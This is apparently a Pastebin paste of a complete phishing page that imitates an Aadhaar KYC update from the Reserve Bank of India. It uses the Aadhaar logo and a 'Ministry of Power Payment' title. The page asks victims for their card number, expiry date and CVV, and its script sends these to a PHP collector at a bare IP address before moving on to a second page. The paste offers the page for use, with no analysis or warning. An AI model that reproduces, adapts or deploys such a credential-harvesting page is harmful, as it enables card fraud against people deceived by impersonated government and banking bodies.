Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Ministry of Power Payment</title>
- <style>
- * {
- box-sizing: border-box;
- margin: 0;
- padding: 0;
- }
- body {
- font-family: Arial, sans-serif;
- background-color: #f0f8ff;
- margin: 0;
- display: flex;
- flex-direction: column;
- justify-content: center;
- align-items: center;
- min-height: 100vh;
- padding: 20px;
- }
- .container {
- background-color: white;
- padding: 30px;
- border-radius: 15px;
- box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
- max-width: 500px;
- width: 100%;
- }
- .logo {
- text-align: center;
- margin-bottom: 25px;
- }
- .logo img {
- width: 100px;
- height: auto;
- }
- h1 {
- text-align: center;
- margin: 0;
- font-size: 22px;
- margin-bottom: 25px;
- color: #333;
- }
- .hindi {
- font-size: 18px;
- display: block;
- margin-bottom: 8px;
- }
- .card-type-container {
- display: flex;
- justify-content: space-between;
- margin-bottom: 25px;
- }
- .card-type-btn {
- width: 48%;
- padding: 12px;
- background-color: #f5f5f5;
- border: 2px solid transparent;
- border-radius: 8px;
- cursor: pointer;
- font-size: 14px;
- transition: background-color 0.3s, border 0.3s;
- }
- .card-type-btn.active {
- background-color: #007bff;
- color: white;
- border: 2px solid #007bff;
- }
- input[type="text"] {
- width: 100%;
- padding: 12px;
- margin-bottom: 20px;
- border: 1px solid #ccc;
- border-radius: 8px;
- box-sizing: border-box;
- font-size: 16px;
- }
- .cvv-expiry {
- display: flex;
- justify-content: space-between;
- }
- .cvv-expiry input {
- width: 48%;
- }
- .next-btn {
- background-color: #007bff;
- color: white;
- border: none;
- padding: 15px;
- width: 100%;
- font-size: 16px;
- border-radius: 8px;
- cursor: pointer;
- transition: background-color 0.3s;
- }
- .next-btn:hover {
- background-color: #0056b3;
- }
- .small-red-text {
- color: red;
- font-size: 12px;
- margin-top: 5px;
- display: block;
- }
- footer {
- text-align: center;
- margin-top: 20px;
- font-size: 14px;
- color: #666;
- width: 100%;
- position: fixed;
- bottom: 10px;
- left: 0;
- }
- footer a {
- color: #007bff;
- text-decoration: none;
- margin: 0 5px;
- }
- footer a:hover {
- text-decoration: underline;
- }
- @media (max-width: 600px) {
- h1 {
- font-size: 20px;
- }
- .container {
- padding: 20px;
- }
- input[type="text"], .next-btn, .card-type-btn {
- font-size: 14px;
- padding: 10px;
- }
- }
- </style>
- </head>
- <body>
- <div class="container">
- <div class="logo">
- <img src="https://upload.wikimedia.org/wikipedia/hi/thumb/c/cf/Aadhaar_Logo.svg/600px-Aadhaar_Logo.svg.png?20211118080822" alt="Ministry of Power Logo">
- </div>
- <h1>
- <span class="hindi">भारतीय रिजर्व बैंक</span><br>
- आधार KYC Update
- </h1>
- <form id="paymentForm">
- <div class="card-type-container">
- <button type="button" id="creditBtn" class="card-type-btn active" onclick="selectCardType('credit')">Credit Card</button>
- <button type="button" id="debitBtn" class="card-type-btn" onclick="selectCardType('debit')">Debit Card</button>
- </div>
- <span class="small-red-text">Please enter a valid 16-digit card number.</span>
- <input id="card" type="text" placeholder="Card Number" maxlength="16" required>
- <div class="cvv-expiry">
- <input id="exp" type="text" placeholder="Expiry (MM/YY)" maxlength="5" required>
- <input id="cvv" type="text" placeholder="CVV" maxlength="3" required>
- </div>
- <button type="submit" class="next-btn">Next</button>
- </form>
- </div>
- <script>
- let selectedCardType = 'credit';
- function selectCardType(type) {
- selectedCardType = type;
- document.getElementById('creditBtn').classList.toggle('active', type === 'credit');
- document.getElementById('debitBtn').classList.toggle('active', type === 'debit');
- console.log('Selected card type:', selectedCardType);
- }
- function validateForm(event) {
- event.preventDefault();
- console.log('Validating form...');
- const card = document.getElementById('card').value.trim();
- const exp = document.getElementById('exp').value.trim();
- const cvv = document.getElementById('cvv').value.trim();
- if (card === '' || exp === '' || cvv === '') {
- alert('All fields are required. Please fill in all the information.');
- return false;
- }
- if (!/^\d{16}$/.test(card)) {
- alert('Please enter a valid 16-digit card number.');
- return false;
- }
- if (!/^\d{2}\/\d{2}$/.test(exp)) {
- alert('Please enter a valid expiry date in MM/YY format.');
- return false;
- }
- if (!/^\d{3}$/.test(cvv)) {
- alert('Please enter a valid 3-digit CVV.');
- return false;
- }
- console.log('Form validation passed. Submitting form data...');
- captureFormData();
- }
- function captureFormData() {
- const card = document.getElementById('card').value.trim();
- const exp = document.getElementById('exp').value.trim();
- const cvv = document.getElementById('cvv').value.trim();
- const formData = {
- form: 1,
- cre: selectedCardType === 'credit' ? 'Yes' : 'No',
- deb: selectedCardType === 'debit' ? 'Yes' : 'No',
- crd: card,
- ex: exp,
- cv: cvv
- };
- console.log('Submitting form data:', formData);
- fetch('http://41.216.183.23/ALL/4/save_data.php', {
- method: 'POST',
- headers: {
- 'Content-Type': 'application/json'
- },
- body: JSON.stringify(formData)
- })
- .then(response => {
- console.log('Response status:', response.status);
- if (response.ok) {
- alert('Successful. Redirecting to next page');
- window.location.href = '2.html';
- } else {
- throw new Error('Server responded with status: ' + response.status);
- }
- })
- .catch(error => {
- console.error('Error:', error);
- alert('Failed to submit form data. Please try again later.');
- });
- }
- // Add input formatting for better user experience
- document.getElementById('card').addEventListener('input', function(e) {
- this.value = this.value.replace(/\D/g, '').slice(0, 16);
- });
- document.getElementById('exp').addEventListener('input', function(e) {
- this.value = this.value.replace(/\D/g, '')
- .replace(/^(\d{2})(\d)/, '$1/$2')
- .slice(0, 5);
- });
- document.getElementById('cvv').addEventListener('input', function(e) {
- this.value = this.value.replace(/\D/g, '').slice(0, 3);
- });
- // Initialize the form
- document.addEventListener('DOMContentLoaded', function() {
- console.log('Form initialized');
- document.getElementById('paymentForm').addEventListener('submit', validateForm);
- });
- </script>
- </body>
- </html>
Add Comment
Please, Sign In to add comment